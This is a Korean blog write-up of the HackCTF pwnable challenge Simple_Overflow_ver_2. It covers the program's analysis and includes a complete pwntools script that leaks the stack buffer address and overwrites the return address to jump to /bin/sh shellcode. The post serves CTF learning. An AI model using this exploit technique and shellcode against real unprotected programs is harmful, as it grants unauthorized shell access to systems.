미친해커

[HackCTF] Pwnable : Simple_Overflow_ver_2 본문

Hacking/HackCTF

[HackCTF] Pwnable : Simple_Overflow_ver_2

미친해커 2021. 6. 21. 13:57
반응형

보호기법은 아무것도 걸려있지 않은걸로 보아 간단하게 풀 수 있는 문제라고 예상된다.

 

main 함수를 분석해보자.

main 함수를 보니 이번에는 친절하게 s의 버퍼가 128 바이트라고 명시되어 있다. scanf를 이용하여 개행문자(엔터)가 나오기 전까지 입력을 받고 현재 버퍼의 주소를 출력 후 16바이트 만큼 문자를 출력한다. 그 이상 문자가 있다면 그 다음 주소를 출력하고 또 다시 16바이트 만큼 출력하는 걸 반복하는것 같다. 한번 입력을 시도한 후 출력이 끝나면 다시 입력할건지에 대한 질문이 나온다. 코드만 봐서는 자세히 알 수 없으니 한번 실행을 해보자

한번 실행을 해보니 확실히 알 수 있었다. 버퍼의 주소는 바뀌지 않고 null을 기준으로 출력하기 때문에 뒤에 문자가 더 있어도 출력을 멈추는것 같다. 그러면 공격 방법은 shellcode를 삽입하고 ret 주소를 덮어씌어 Shell을 따내는 방법이다. 

1. 의미 없는 값을 입력해 버퍼의 주소를 알아낸다.

2. shellcode와 함께 쓰레기 값을 채워 ret 주소를 덮어씌운다.

3. Shell이 열렸으니 flag를 획득한다.

# file : Simple_verflow_ver_2.py
from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3006)

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

p.recvuntil('Data : ')
p.sendline('AAAA')

buf = int(p.recvuntil(':')[:-1], 0)

p.recvuntil('Again (y/n): ')
p.sendline('y')

payload = shellcode + 'A' * (140 - len(shellcode)) + p32(buf)
p.sendline(payload)

p.recvuntil('Again (y/n): ')
p.sendline('n')

p.interactive()

이번 문제는 NX가 걸려있지 않아 stack에 실행 권한이 있었고 또 문자를 입력했을 때 문자가 들어간 버퍼의 주소를 출력해주기 때문에 발생할 수 있는 취약점이었다. 코드가 어렵다면 실행부터 해보는것도 좋은 것 같다.

반응형
Comments